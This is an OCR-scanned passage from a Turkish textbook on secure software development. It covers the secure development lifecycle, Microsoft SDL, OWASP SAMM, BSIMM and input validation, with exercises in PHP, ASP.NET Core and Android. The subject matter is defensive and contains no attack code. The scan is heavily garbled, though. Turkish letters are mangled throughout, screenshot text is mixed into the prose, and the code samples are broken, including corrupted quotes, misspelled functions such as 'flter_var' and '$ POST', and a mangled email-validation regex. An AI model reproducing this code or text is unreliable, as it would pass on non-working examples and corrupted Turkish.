kullanilarak problemler basitlestirilir ve odaklaniimasi gereken temel unsurlar belirlenir. Yazilimin
tasarimi ve mimarisi olusturulurken giivenlik konulari g6z 6ntinde bulundurulur. Givenlik 6nlemleri
tasarimin ilk asamalarinda entegre edilmeye calsilir.

4. Test: Tasarim asamasinin tamamlanmasinin ardindan yazilim gelistirme siireci baslar. Yazilim, tasar-
lanan 6zelliklere gore kodlanir ve gelistirilir. Gelistirme asamasinin tamamlanmasinin ardindan yazilim
cesitli testlerden gegirilir. istenen islevselligin ve kalitenin saglanmasi icin kullanilabilirlik testleri, per-
formans testleri ve hata ayiklama islemleri yapilir. Kodlama asamasinda giivenli programlama teknikleri
kullanilarak glvenli kod yazilir. Bu adimda sik yapilan glvenlik hatalarindan kaginilmalidir.

5. Bakim: Yazilim, test asamasinin tamamlanmasinin ardindan canli ortama dagitilarak kullanicilara su-
nulur. Ortaya ¢itkan hatalar ile kullanici geri bildirimleri g6z 6niinde bulundurularak canli ortamdaki yazi-
limin strekli olarak bakimi yapilir ve giincellemeler saglanir. Uygulamanin glivenlik politikalarina uygun
olarak yapilandirilmasi saglanir. Bu adim, yeni glivenlik tehditlerine karsi slirekli olarak hazirlikli olmayi
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icerir. Bu asama, yazilimin istikrarl bir sekilde calismasini ve misteri memnuniyetinin stirdiiriilmesini
saglar. Glvenli yazilim canli ortama gegirilir. Uygulamanin glivenlik politikalarina uygun olarak yapilan-
dirllmasi saglanir. Canli ortamdaki yazilimin glivenligi izlenir, diizenli olarak bakimi ve glincellemeleri
yapilir. Bu adim, yeni giivenlik tehditlerine karsi stirekli olarak hazirlikh olmayi igerir.

Yazilim gelistirme yasam donglsi, proje boyunca

surekli tekrar edilebilir ve iyilestirilebilir bir dongi BiLGi KUTUSU
olarak dastnulmelidir. Proje ekibi musteriyle yakin
iletisim halinde olmali ve degisen ihtiyaclara uyum
saglayabilmek icin gayret gostermelidir. Bu genel si-
re¢c modeli, glivenli yazilim gelistirmek icin kullanila-
bilecek temel adimlari icerir ancak giivenli yazilim
gelistirme yasam dongiisii, projenin karmasikligina
ve Ozel gereksinimlere bagh olarak degisebilir. Gelis-
tirme ekibi, glivenlik konularina yénelik uzmanlarla
is birligi yapmali ve giivenli yazilimi tesvik eden bir
kiltir benimsemelidir. Ayrica glivenlik agiklarinin ve
tehditlerin sirekli degisebilecegi unutulmamali, yazi-
limin glivenliginin sirekli olarak izlenmesi ve glincel-
lenmesi gerekliligi goz ardi edilmemelidir.

Yazilim gelistirme yasam dongusi
modelleri, farkli siiregleri projelere
dahil eder. Yazilim gelistirme surecin-
de gelisiglizel model, barok modeli,
selale modeli, v siire¢ modeli, helezo-
nik model, artimsal gelistirme modeli
gibi modeller yer alir.

e Yazilim gelistiriciler zafiyetleri ve glivenlik agiklarini engellemeye odaklanmalidir. Bu nedenle
gelistiricilerin glivenli yazilm egitimine sahip olmalari kritik 6nem tasir. Bu egitim sayesinde
glvenli yazilim prensipleri benimsenerek glivenlik bilinci artirilir.

e Yazihmin saldirilara karsi direngli olmasi ve saldiri aninda bile ¢alismaya devam edebilmesi igin
glvenlik gereksinimleri bastan belirlenir. Tehdit analizi yapilir, glivenli tasarim prensipleri uygula-
nir ve sonrasinda yapilan glivenlik testleriyle gereksinimlerin karsilanip karsilanmadigi belirlenir.

e Kotl niyetli gelistiricilerin kodun igine zayifliklar veya koti niyetli islevler eklemesini 6nlemek igin
kaynak kod analizi, statik analiz, glivenli kurulum gibi tedbirler alinir.

e Yazihmin ve ¢evresindeki ortamin etkilesimlerinden kaynaklanabilecek zafiyetleri en aza indirmek
icin gecmiste ortaya cikmis zafiyetler incelenir. Dis inceleme, sizma testleri gibi dnlemler uygulanir.
Ayrica olay midahalesi igin hazirlikli olunur.

Bu tedbirler, yaziimin glvenligini artirmak ve potansiyel saldirilara karsi yazilimi daha direngli hale
getirmek icin 6nemlidir. Glivenli yaziim gelistirme sirecinde proaktif ve kapsaml glivenlik 6nlemleri
almak, guvenli bir yazihmin basariyla hayata gecirilmesine ve kullanicilarin gliveninin kazanilmasina
yardimci olur.

Guvenliyazilm gelistirme, bilgisayar sistemlerinin ve yazilimlarin glivenlik aciklarini en aza indirmek icin
tasarlanan bir yaklasim olarak ifade edilir. Bu yaklasim, bir yazihm gelistirme yasam doénglisi boyunca
glvenlikle ilgili kisimlari incelemeyi ve gerekli 6nlemleri almayi amaglar. Genellikle bir yazilima karsi
saldirilarin t¢ temel amaci bulunur:

1. Yazilimin diizglin bir sekilde ¢calismasini engellemek veya tamamen durdurmak.

2. Yazilimin igine zararh kod dahil ederek yazilimin kodunu degistirmek veya amaci disinda farkl
servislere hizmet etmesini saglamak.

3. Yaziimin zayif noktalarini tespit ederek calisma ortamina sizmak ve yazilimi saldiri araci olarak
kullanmak.

Saldirilari engellemek icin yazilimlarin yazilim givenligi ilkelerine uygun ve glivenli yazihm gelistirme
yasam dongisu icinde gelistiriimesi gerekir. Glivenli yazilim gelistirme siiregleri, yazihmin gtivenligini
saglamaya yonelik faaliyetlerle bu faaliyetlerin girdi ve ¢iktilarini tanimlayan yontemlerdir. Bu siiregler,
yazihmin gelistirilme asamalarinda glivenlik agiklarinin en aza indirilmesi ve glivenlik standartlarinin
karsilanmasi amaciyla kullanihr.
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Guvenli bir yazilimin tasarimi, gelistiriimesi, yapilandirilmasi, dagitilmasi ve desteklenmesi asamalari
yazihmin birgok saldiriya karsi giivenli ve dogru bir sekilde ¢alismasini saglayacak énlemleri igerir. Bu
siireg, yazilimin saldirilari tespit etme ve etkilerini sinirlama yetenegini de kapsar. Ayni zamanda olasi
bir saldiri durumunda yazilimin hizl bir sekilde normal calisma diizenine dénebilmesini temin eder. Bu
Ozel siireg, glivenli yazilim gelistirme yasam déngiisii olarak adlandirilir. Microsoft Glivenli Gelistirme
Yasam Dongisl (Microsoft SDL) en yaygin kullanilan giivenli yazilim gelistirme siirecinden biridir.

Giivenli yazilim gelistirme olgunluk modelleri ise bir organizasyonun yazilim giivenligi uygulamalarinin
ne kadar etkin oldugunu dlgcmeye yonelik derecelendirme modelleridir. OWASP tarafindan gelistirilen
SAMM modelive Building Security In Maturity Model (BSIMM) ise en popler olgunluk modellerindendir.
Bu modeller; bir kurulusun yazihm giivenligi siirecini analiz eder, glivenlik uygulamalarinin ne kadar
etkin kullanildigini degerlendirir ve eksiklikleri belirleyerek daha glvenli bir yazilim gelistirme ortaminin
olusturulmasina yardimci olur.

2.1.1. Giivenli Yazilim Gelistirme Modelleri

Guvenli yazilim gelistirme modelleri; yazilim projelerinin glivenlik odakli bir sekilde tasarlanmasini,
gelistirilmesini ve sirdirilmesini saglamak icin kullanilan streg ve rehberlerdir.

2.1.1.1. Microsoft SDL

Microsoft, yazilim gelistiricilerinin Urettikleri yazilimlari daha glivenli hale getirmek amaciyla
olusturdugu yazilim gelistirme yasam dongiisii (SDL) adi verilen bir slirec kullanir. Bu siireg, yazihmin
gelistirme asamalarinda glvenlikle ilgili adimlari ve 6nlemleri icerir. SDL, yedi asamaya ayrilmistir ve her
bir asamada dnem verilen farkli konular bulunur. Bu asamalar Sema 2.2’de gosterilmistir.

Microsoft SDL Asamalari ve Uygulamalari
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Sema 2.2: Glvenli yazilim gelistirme yasam donguisi
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Donglintin ilk asamasi, yazilim gelistiricilerine givenlik konusunda egitim verilmesini icerir. Egitim
asamasinda, yazilim ekibinin glivenlik bilinci artirilir ve glivenlikle ilgili temel kavramlar, tehdit modelleri,
risk analizi gibi konular anlatilir. Sonraki asamalarda yazilim gelistirme siirecinin her bir asamasi icin
gerceklestirilecek faaliyetler ile ihtiya¢ duyulan araglar ve teknik altyapilar tanimlanir. Bu asamalarda
yapilan calismalar, yazihmin glvenlik agiklarini en aza indirerek daha glvenli bir yazilim Gretmeyi
amaglar.

Microsoft Yazilim Gelistirme Yasam Dongusl, glivenlik nlemlerini bastan sona entegre ederek yazilimin
gelistirme asamalarinda giivenligi saglayan etkin bir yéntemdir. Ozetle Microsoft SDL ii¢ temel amaci
gerceklestirmeyi hedefler.

Sirekli siireg iyilestirme Hesap verebilirlik Egitim

Guvenlik plani 6rnegi, Microsoft SDL Guvenlik Gelistirme Yasam Donglisi’'nin her adimini iceren
glvenlik etkinliklerini 6zetler. Belirtilen bu 6rnek, her bir faaliyetin temel amacini agiklamakla birlikte
faaliyet sahiplerini ve beklenen c¢iktilari da belirtir. Bu giktilar genellikle farkh projeler icin kilometre
taslarinin cikis olcitleri olarak da kullanilabilir. Bu glvenlik planinin basariyla uygulanabilmesi icin
glvenlik ekibinin diger faaliyetlerin yani sira Grliniin glvenli bir sekilde piyasaya sirilebilmesi ve
projeye 0zgl cesitli kilometre taslarinda glivenlik oturumlari, incelemeler, kontrol isaretlemeleri
gibi etkinlikler gerceklestirmesi gereklidir. Bu amacgla program yonetimi, gelistirme, test ve kullanici
deneyimi bolumleri ile kisilerden olusan bir sanal ekip 6nerilir.

2.1.1.2. OWASP SAMM (Software Assurance Maturity Model)

OWASP Yazilm Givencesi Olgunluk Modeli (SAMM), yazilim givenligini bir 6ncelik haline getirip
organizasyonlarin daha glvenli ve korumali yazilimlar Uretmelerine destek olur ve tim sektorlerde
yazilim givenligi bilincini artirmayi amaglar.

OWASP tarafindan gelistirilen SAMM, yazilim giivenligi stratejilerini olusturmak ve uygulamak icin tim
kuruluslara yonelik agik bir modeldir. Bu model, kuruluslar icin giivenlik uygulamalarini gelistirmek
adina bir yol haritasi saglamak amaciyla olgunluk seviyelerini tanimlar. SAMM, bir organizasyonun
mevcut yazilim glivenligi uygulamalarini degerlendirebilmesini ve daha dengeli bir yazihm glvence
programi olusturabilmesini saglamayi hedefler. Bu model, glivenlikle ilgili ihtiyaclari degerlendirir ve
organizasyonun mevcut durumunu belirlemek icin tasarlanir. SAMM, belirlenen hedeflere ulasmak icin
gerekli adimlari ve en iyi uygulamalari sunarak glivenlik pratiklerinin gelistiriimesini ve uygulanmasini
kolaylastirir.

SAMM (Sema 2.3), yazilim glivenligini bir dizi disiplin altinda toplayip organizasyonlarin yazilim giivenligi
slrecini tim paydaslarin katiimiyla olusturmalarina yardim eder. Bu sayede kuruluslar, giivenlik
actklarini azaltmaya yonelik uygun 6nlemleri alarak gigli ve givenilir yazilimlar gelistirebilirler.

i . . =) H . : ] 1
) YONETIM GELISTIRME jDOGRULAMA ISLETIM
'gfz?;f‘ll'e‘;“ o Tehdit analizi eisletim
s Pollikalas ve -quenl_llf *Gozden gecirme glivenligi
uyum mimarisi *Glvenlik testleri *Ortam
o Egitim ve * Giivenlik ) stkilaghirma
yénlendirme gereksinimleri e Hata yénetimi
_J S y

Sema 2.3: OWASP SAMM modeli

Yonetim asamasinda, yazillm gelistirme sirecinde gerceklestirilen glivenlik adimlarinin  ve
aktivitelerinin nasil denetlendigi ve yonlendirildigiyle ilgilenen bir is fonksiyonu olarak odaklanilr.
Gelistirme asamasinda, yazilim gelistirme siirecinde giivenlik hedeflerinin belirlenmesi, glivenli yazilim
mimarisinin tasarlanmasi ve gelistirilmesine yogunlasilarak glivenlik gereksinimlerine odaklanilir.
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Dogrulama asamasinda, yazilim gelistirme siirecinde Uretilen unsurlarin (mimari dokiimantasyon,
kodlar, uygulamalar vb.) dogrulugunu dogrulama ve bunlari test etme faaliyetlerine odaklanilir.

isletim asamasinda ise Griinlerin son kullanicilara teslim edilmesi, sunucularin giivenli kurulumunun
saglanmasi ve glivenlik aciklarinin giderilmesi gibi aktivitelere odaklanilir.

2.1.1.3. BSIMM (Building Security In Maturity Model)

BSIMM modelinde bir kurumun olgunluk seviyesini 6lgmek icin kullanilan etkinlikler tespit edilerek
oriimcek cizgesi (spider-chart) olusturulur. Bu ¢izge, kurumun farkli alanlardaki performansinin diinya
ortalamalarina gore degerlendirilmesini grafiksel gérmeyi saglayan bir aractir. Bu sayede kurumun
glvenlik, verimlilik veya diger belirli konulardaki performansi ile diinya ortalamasi arasindaki farklar
acikca gorilebilir. Bu degerlendirme, kurumun gliclii ve zayif yonlerini belirlemek ve gelistirme alanlarini
saptamak icin 6nemli bir gorsel ara¢ saglar. BSIMM modelinde onerilen yazihm givenligi cercevesi
icinde dort temel kapsami bulunur (Sema 2.4).
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Sema 2.4: BSIMM etkinlik alani ve faaliyetleri

Yonetisim: Yazilim glivenligi icin gerekli yapilari baslatmak, organize etmek, yonetmek ve 6lgmek
icin gerekli islemleri icerir. Bu asamada guivenlik politikalarinin olusturulmasi, risk yénetimi sirecinin
belirlenmesi ve giivenlik sorumluluklarinin tanimlanmasi yer alir.
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istihbarat: Giivenlikle ilgili yazilim hakkinda bilgi toplama ve analiz etme siirecidir. Giivenlik olaylarini
Onleyici yonergelerin gelistirilmesi, kurumsal tehdit modellemesi, risk degerlendirmeleri gibi faaliyetleri
icerir. Bu sayede potansiyel glivenlik tehditleri belirlenerek uygun dnlemler alinabilir.

Giivenli Yazilim Gelistirme Yasam Doéngiisii Etkilesim Noktalari: Yazilim gelistirme sireci ile ¢iktilarina
iliskin analiz ve glivenceyle ilgili islemleri igerir. Bu adim, yazilim gelistirme siirecinin her asamasinda
glvenlikle ilgili kontrollerin yerlestirilmesini ve glivenli kodlama prensiplerinin takip edilmesini saglar.

Kurulum: Yazilim yapilandirma, kurulum ve bakim asamalarinda glivenlikle ilgili hususlari ele alir. Bu
kapsamda yazilimin givenli bir sekilde dagitilmasi, dogru yapilandiriimasi ve giincel kalmasi icin gerekli
onlemler alinir.

ARASTIRMA ) Glvenli yazilim gelistirme modelleri, siiregte glivenligi her asama-

ya dahil etmeye odaklanir. Yazilim gelistirme yasam dongisi model-
lerinden biri olan gevik (agile) modelini arastiriniz. Bu modelin faydalari nelerdir? Guvenli-
gin bu modele dahil edilmesi ile nasil sonuglar elde edilebilir? Arkadaslariniz ile tartisiniz.

Givenli kodlama teknikleri, yazilim gelistirme siirecinde kullanilan yéntem ve uygulamalari ifade eder.
Bu teknikler; yazilmin giivenligini artirmayi amaglar ve potansiyel saldirilari, veri sizintilarini veya diger
glivenlik aciklarini dnlemek icin tasarlanir. Glvenli kodlama teknikleri, yazilimin tasarimindan baslayarak
gelistirme, test etme ve bakim asamalarina kadar bircok asamada uygulanabilir. Ornegin yeni bir evin
insas! icin miteahhitlere basvuruldugunda beklenti, onlarin gerekli tim tedbirleri almasidir (Gorsel
2.1). Bu, tasinmadan Once insaatin tamamlanmis olmasi anlamina gelir. Takilmamis kapi veya pencere
olmamasi, elektrik hatlarinin agikta birakilmamasi vb. miiteahhitlerden beklenir. Tam kapanmayan bir
pencere, potansiyel hirsizlik olaylarina yol acabilirken yanhs baglanmis bir elektrik kablosu ise kazalara
veya yanginlara neden olabilir. Yaziim gelistiricilerden de uygulamalarinin givenli olmasi beklenir.
Yazilim gelistiricileri, bilgisayar korsanlarinin potansiyel olarak faydalanabilecegi herhangi bir giivenlik
aciginin bulunmadigindan emin olmak icin glivenli kodlama tekniklerini uygulamahdir.

2.2. GUVENLI KODLAMA TEKNIKLERI

Gorsel 2.1: Ev ingasiI
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2.2.1. Girdi Denetimi Yontemleri

Girdi denetimi, yazilimin kullanicidan aldigi verilerin glivenligini saglamak amaciyla kullanilan bir dizi
yontemi ifade eder. Yazilimlarin kullanicilarla iletisim kurdugu noktalarda kullanicilarin génderdigi
verilerin glivenli ve istenen bicimde islenmesi dnemlidir. Girdi denetimi yontemleri, zararl verilerin
veya saldirilarin yazilima zarar vermesini engellemeye yardimci olur (Gorsel 2.2).
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Gorsel 2.2: Girdi denetimi 6rnegi

Yazilimlar, kullanicilarin girdilerini alarak islem yapar ancak bazi kotl niyetli kisiler veya otomatik
programlar, yazihma zarar vermek yahut veri calmak amaciyla zararli veriler génderebilir. iste bu
noktada girdi denetimi devreye girer. Girdi denetimi bu zararli verileri engellemek veya filtrelemek igin
kullanilir. Boéylece yazilimin glivenligi saglanir. Girdi denetimi yontemleri bes basliktan olusur.

1. Veri Dogrulama: Kullanicilarin girdileri beklenen bigimde ve belirlenen sinirlar iginde mi?
Ornegin bir telefon numarasi 10 haneli olmalidir. Bu tiir kurallarla girdilerin dogrulugu saglanir.

2. Veri Temizleme: K6ti niyetli kisiler girdilere zararli kodlar ekleyebilir. Bu yontem, zararli kodlarin
temizlenmesini saglayarak yazilimin glivenligini artirir.

3. Sinirlama ve Filtreleme: Kullanicilarin girdileri izin verilen veri tirleri ve boyutlar icinde mi?
Ornegin bir parola en fazla 12 karakter olabilir. Bu sekilde asiri uzun veya zararh verilerin
engellenmesi hedeflenir.

4. SQL Enjeksiyon Korumasi: Koti niyetli kisilerin, veri tabanini manipile etmesini engeller ve veri
tabanina zararl kod enjekte etmesini dnler.

5. Cross-Site Scripting (XSS) Engelleme: Kotu niyetli kisilerin, zararh kodlari web sayfasina
eklemelerini 6nler. Bu sayede kullanicilar glivende tutulur.

Girdi denetimi yontemleri, yazihm glivenligini artirmak igin kullanilan énemli araglardir. Bu yontemler
sayesinde kullanicilarin gonderdigi verilerin glivenli ve dogru bir sekilde islenmesi saglanir. Yazilim
gelistiricileri bu yontemleri kullanarak, zararli saldirilari ve veri sizintilarini engelleyerek kullanicilarin
glvenligini korurlar.

UYGULAMA

> PHP dili ile kullanicidan ad ve e-mail bilgilerini girdi denetimi yaparak alan
uygulamayi olusturma islemini verilen adimlar dogrultusunda gergeklestiriniz.

! 1 Adim: PHP web sunucusu (XAMPP, WampServer vb.) programini calistiriniz. !

2 Adim: Dosya gezgini ile PHP web sunucusu web sayfalari ana klasoriinii aginiz (Xampp icin c:\:
: xampp\htdocs WampServer icin c:\wamp\www klasorleridir.). !
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: 3. Adim: Uygulamal adinda yeni bir klasor olusturunuz.
| 4. Adim: Bir metin editori ile Uygulamal klasérin aginiz.
: 5. Adim: index.html adinda bir html dosyasi olusturunuz.

! 6 Adim: index.html dosyasi icine su kodu yaziniz:

<IDOCTYPE html>
<html>
<head>
<title>Girdi Denetimi</title>
</head>
<body>
<h2>Ad ve E-mail Formu</h2>
<form action="submit.php” method="post”>
<label for="ad”>Adiniz:</label><br>
<input type="text” id="ad” name="ad”><br><br>
<label for="email”>E-mail adresiniz:</label><br>
<input type="email” id="email” name="email”’><br><br>
<input type=submit” value="Gonder”>
</form>
</body>
</html>

1 7 Adim: submit.php adinda bir PHP dosyasi olusturunuz.
'8 Adim: submit.php dosyasi igine su kodu yaziniz:

$ad = $_POST[ad’];
$email = $ POST[‘email’];

// Veri temizleme
$temiz_ad = htmlspecialchars($ad);

$temiz_email = htmlspecialchars($email);

// Veri dogrulama
if (flter_var($temiz_email, FILTER_VALIDATE_EMAIL)) {

echo “E-posta adresi gecerli <br>”;
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else {

echo “Liutfen gecgerli bir e-posta adresi girin. <br>”;

}

// Veri sinirlama ve filtreleme

if (strlen($temiz_ad) <= 50) { Ad ve Email Formu
echo “Ad gecerli”;

} else { Adimz:
echo “Ad en fazla 50 karakter olmalidir.”’; ‘ |

} Email adresiniz:

?> ‘ |

5 R e T e e R

| (Gorsel 2.3). .

1 1
110. Adim: Ad ve e-mail alanlarini doldurarak génder |
' butonuna basiniz. !

Gorsel 2.3: Ad ve Email Formu

UYGULAMA

> ASP.Net Web Forms ile kullanicidan ad ve e-mail bilgilerini girdi denetimi yaparak
alan uygulamayi olusturmaisleminiverilen adimlar dogrultusunda gergeklestiriniz.

' 1. Adim: Visual Studio programini ¢alistiriniz.

' 2. Adim: Karsilama ekraninda Create a new project butonuna basiniz (Gorsel 2.4).

Get started

¢ -
e Clone a repository

Get code from an online repository like GitHub
or Azure DevOps

@’) Open a project or solution

Open a local Visual Studio project or .sin file

E’E Open a local folder

Navigate and edit code within any folder

'@ Create a new project

Choose a project template with code scaffolding
to get started

Gorsel 2.4: Visual Studio karsilama ekrani
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! 3 Adim: Yeni proje olustur ekraninda ASP.NET Core Web App proje sablonunu segerek Next butonuna '
1 basmlz (Gorsel 2.5). 1

X
Create a new proJeCt Search for templates (Alt+S) P~ Clear all
Recent project templates o - Windows v Web -

A list of your recently accessed templates will be €3 ASP.NET Core Web App

[,
displayed here. @ A project template for creating an ASP.NET Core application with example ASP.NET
Razor Pages content.

C# Linux macOSs Windows Cloud Service Web

Gorsel 2.5: Yeni proje olusturma ekrani

'4 Adim: Yeni projenizi yapilandirin penceresinde proje adini GirdiDenetimil olarak girerek Next:

1 butonuna basiniz (Gorsel 2.6). 1
Configure your new project

ASP.NET Core Web App C# Linux macOSs Windows Cloud Service Web
Project name
GirdiDenetimil

Location

C\Users\SiberGuvenlik\source\repos -

Solution name @

Place solution and project in the same directory

Back MNext

Gorsel 2.6: Yeni proje yapilandirma penceresi

Additional information

ASP.NET Core Web App C# Linux macOS Windows Cloud Service Web

Framework

.NET 6.0 (Long-term support) -
Authentication type @

None -

[ ] cenfigure for HTTPS @
[] Enable Docker @
Docker 0OS @

|:| Do not use top-level statements @

Gorsel 2.7: Ek bilgiler penceresi
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@page
@model IndexModel
@{

ViewData[“Title”] = “Ad ve E-mail Formu”;
}
<h2>Ad ve E-mail Formu</h2>
<form method="post”>
<div asp-validation-summary="ModelOnly” class="text-danger”></div>
<label asp-for= Ad”>Adiniz:</label><br />
<input asp-for="Ad” /><br /><br />
<label asp-for=”Email”>E-mail adresiniz:</label><br />
<input asp-for="Email” /><br /><br />
<button type="submit”>Gdnder</button>

</form>

using Microsoft.AspNetCore.Mvc;

using Microsoft.AspNetCore.Mvc.RazorPages;
using System.ComponentModel.DataAnnotations;
using System.Text.Encodings.Web;

using System.Text.RegularExpressions;

namespace GirdiDenetimil.Pages

{
public class IndexModel : PageModel

{
[BindProperty]
public string Ad { get; set; }
[BindProperty]
public string Email { get; set; }
public void OnGet()
{
¥
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public IActionResult OnPost()
{
/I Veri temizleme
string temizAd = Ad != null ? HtmlEncoder.Default.Encode(Ad) : null;

string temizEmail = Email != null ? HtmlEncoder.Default.Encode(Email) :
null;

bool isvalid = IsValidEmail(temizEmail);
// Veri dogrulama
if (temizEmail != null && IsValidEmail(temizEmail))
{
// Veri sinirlama ve filtreleme
if (temizAd != null && temizAd.Length <= 50)
{
// Veri isleme veya kaydetme
return RedirectToPage(“/Success”™);
}
else

{ ModelState.AddModelError(string.Empty, “Ad en fazla 50 karakter olmali-
dir.”);

}
else
{ ModelState.AddModelError(string.Empty, “Litfen gecerli bir e-posta adre-
si girin.”);
}
return Page();
}
// E-posta dogrulama islevi
private bool IsValidEmail(string email)
{
Regex validateEmailRegex = new Regex(“"[a-z@-9!#$%8&°*+/=2" ~{|}~-]1+(2:\\.
[a-20-9!#$%8&° *+/=2" “{|}~-]+)*@(?:[a-20-9](?:[a-20-9-]*[a-20-9])?\\.)+[a-z0-9](?:[a-20-9-
1*[a-z8-9])?$");

return validateEmailRegex.IsMatch(email);
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: 8. Adim: Cozum gezgini penceresinde Pages klasorline sag tiklayip Add>Razor Page secenegini seginiz |
1 (Gorsel 2.8). 1

Solution Explorer

a0 @ 0--FF [W K

Search Solution Explorer (Ctrl+g)

L?'q Solution ‘GirdiDenetimi1’ {1 of 1 project)
P @ Connected Services
P &4 Dependencies

4 & GirdiDenetimi1
b 33 Properties

* 0 x
p-
b @ TR qﬁ View in Brf:wser (Microsoft Edge) Ctrl+Shift+W
Srowse With.-

4 [ Shared i Add D “ Razor Page... ]

P —Layoutcshtml View in Object Browser Controller..
_ValidationScriptsPar
@ Viewlmoorts.cshtml Scope to This @ Razor Component..

Gorsel 2.8: Razor Page ekleme

Add New Scaffolded Iltem

4 |nstalled

4 Common
Razor Page - Empty Razo_r Page - Empty
API by Microsoft

b MVC Razor Page using Entity v1.000
Razor Component - Framework Generates a Razor Page.
Razor Pages Razor Pages using Entity \d: RazorPaceScaffold
Identity Framework (CRUD) ' gescatrolaer
Layout

Add Cancel

Gérsel 2.9: Yeni iskele Ogesi penceresi

' 10. Adim: Yeni 6ge ekle penceresinde dosya ismi olarak Success.cshtml yazarak Add butonuna basiniz :
! (Gorsel 2.10). 1

rAd|:1 New Item - GirdiDenetimi1 ? X W
4 Installed Sort by: Default - & Search (Ctrl+E) P~
c=
| < l_j Class c# * Type: C#
| General f -
| A Razor page with a page model
P ASP.NET Core o0 Interface c#
b Online
@ Razor Component C#
53
l_j MVC Controller - Empty C#
4]

E’j MVC Controller with read /writ...C#

(%3
f';j APl Controller - Empty C#

(=3
L;j API Controller with read/write...C#

c*

@ Razor Page - Empty #
cx

@1 Razor View - Empty C#

Name: Success.cshiml

Add Cancel

Gorsel 2.10: Yeni 6ge ekle penceresi
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@model GirdiDenetimil.Pages.SuccessModel

@{
}

Giris Basarili

-

l 12. Adim: Klavyeden F5 tusuna veya Start Debugging butonuna basarak projeyi ¢alistiriniz (Gorsel l

2 11).

| 1 13. Adim: Agilan web tarayicisinda ad ve e-mail degerleri girerek girdi denetimini deneyiniz (Gorsel :

Adimz:

Ad ve Email Formu

Email adresiniz:

P GirdiDenetimil -

Gorsel 2.11: Start Debugging digmesi

UYGULAMA

Gorsel 2.12: Proje Web Sayfasi ¢iktisi

> Kullanicidan ad ve e-mail bilgilerini girdi denetimi yaparak alan bir mobil uygulamayi

olusturma islemini verilen adimlar dogrultusunda gerceklestiriniz.

l 1. Adim: Android Studio programini galistiriniz.

' 2. Adim: Karsilama ekraninda New Project butonuna tiklayiniz (Gorsel 2.13).

& Welcome to Android Studio

,&r Android Studio

Flamingo | 2022.2.1 Patch 2

Customize

Plugins
¢ +
Learn Android Studio

New Flutter Project New Project

More Actions v

Gorsel 2.13: Android Studio karsilama ekrani

Welcome to Android Studio

Create a new project to start from scratch.

T Open existing project from disk or version contral.
Projects S

]
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'3 Adim: Yeni proje olustur ekraninda No Activity proje sablonunu secerek Next butonuna basmlz'
| 1 (Gorsel 2.14). -

- e ey

Phone and Tablet ' ]
]
Wear OS : [}
'
Android TV cme==)

Automotive

No Activity Empty Activity Basic Views Activity

Bottom Navigation Views Activity Empty Views Activity Navigation Drawer Views Activity

Previous Next Cancel Finish

Gorsel 2.14: Android Studio Yeni Proje ekrani
'4 Adim: Proje adi ve Minimum SDK [Software Development Kit (Yazilim Geligtirme Kiti)] bilgilerini ! i
| glrerek Finish butonuna basiniz (Gorsel 2.15). -

o New Project X

No Activity

Creates a new empty project

Name GirdiDenetimil

Package name  com.example.girdidenetimil
Save location CAGirdiDenetimil
Language Java v

Minimum SDK APl 24: Android 7.0 (Nougat) v

ﬂ Your app will run on approximately 95,4% of devices.
Help me choose

Previous Mext Cancel m

Gorsel 2.15: Proje Bilgileri ekrani
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! 5. Adim: Project penceresinde Android gorinimiinde Java klasori i¢indeki com.example.girdide- |
- netimil’i fare ile sag tiklayarak New>Activity>Empty Views Activity secenegini seciniz (Gorsel 2.16). !

# File Edit View Navigate Code Refactor Build Run Tools VCS Window Help GirdiDenetimi1 -

app ~ src . main @ java = com = example girdidenetimitl ~ & app ¥ [ Pixel 32 API 33 + »> - ] o - 25 e L @
g Android © = = @ — i AndroidManifestxml
Z ———
: ~ [ app <?xml version="1.0" encoding="vutf-8"?>
™ manifests <manifest xmlns:android="http://schemas.android.com/apk/res/ar
5 we: AndroidManifestxml xmlns:tools="http://schemas.android.com/tools">
g v 1 java
5
= com.exan]
B > com.exam s
=1 it
2 > com.exam Add C++ to Module S A
A > res s Android Resource File ="@xml/data_extraction_rule
o =]
- 3 Cug Ctrl+X f i
> @ Gradle Scripts = L Android Resource Directory ixml/backup_rules"
'H Copy Ctrl+C Sample Data Directory ncher"
Copy Path/Reference... 2 File ame"
O Paste Cul+V | @ saatchfile  Ctrl+AltsShift+Insert |¢ 1auncher. round”
Find Usages Alt+F7 Package
Find in Files.. Cirl+Shift+F | = Image Asset .GirdiDenetimil”
Replace in Files... Ctrl+Shift+R 4 Vector Asset
Analyze > Kotlin Script (Beta)
Refactor > Kotlin Worksheet (Beta)

A CMakelists.xt

- Bookmarks >
5 Activity b = Gallery..
5 Reformat Code Ctrl+Alt+L = Fragment >
V_' Optimize Imports Ctri+Al+0 | Folitr 5 [ Android TV Blank Views Activity
Delete... Delete | corice " [ Basic Views Activity
N [ Bottom Navigation Views Activity
- e =

Gorsel 2.16: Yeni Activity agma ekrani

'6 Adim: New Android Activity penceresinde gerekli ayarlamalari yapip Finish butonuna tlklaylmz:
- (Gorsel 2.17). 1

. New Android Activity x|
Empty Views Activity

Creates a new empty activity

Activity Name
MainActivity

Generate a Layout File

Layout Mame

activity_main
Launcher Activity

Package name

com.example.girdidenetimil >

Source Language

Java v

Previous Next Cancel m

Gorsel 2.17: Android Studio Project penceresi
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<?xml version= 1.0 encoding="utf-8”?>

<LinearlLayout xmlns:android="http://schemas.android.com/apk/res/android”
xmlns:app="http://schemas.android.com/apk/res-auto”
xmlns:tools="http://schemas.android.com/tools”
android:layout_width="”match_parent”
android:layout_height="match_parent”
android:orientation="vertical”
android:padding="16dp”
tools:context=".MainActivity”>

<TextView
android:layout_width="wrap_content”

android:layout_height="wrap_content”
android:text="Girdi Denetimi Ornegi”
android:textSize="20sp”
android:layout_gravity="center_horizontal”
android:layout_marginBottom="16dp”/>

<EditText
android:id="@+id/etAd”

android:layout_width="match_parent”
android:layout_height="wrap_content”
android:hint="Adiniz1i girin”

android:layout_marginBottom="8dp”/>

<EditText
android:id="@+id/etEmail®

android:layout_width="”match_parent”
android:layout_height="wrap_content”
android:hint="E-posta adresinizi girin”
android:inputType="textEmailAddress”
android:layout_marginBottom="16dp”/>

<Button
android:id="@+id/btnGonder”

android:layout_width="wrap_content”
android:layout_height="wrap_content”

android:text="Gonder”
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android:layout_gravity="center_horizontal”/>
<TextView

android:id="@+id/tvSonuc”

android:layout_width="wrap_content”

android:layout_height="wrap_content”

android:layout_gravity="center_horizontal”

android:layout_marginBottom="16dp”

android:text=""

android:textSize="20sp” />

</LinearlLayout>

package com.example.girdidenetimil;

import androidx.appcompat.app.AppCompatActivity;
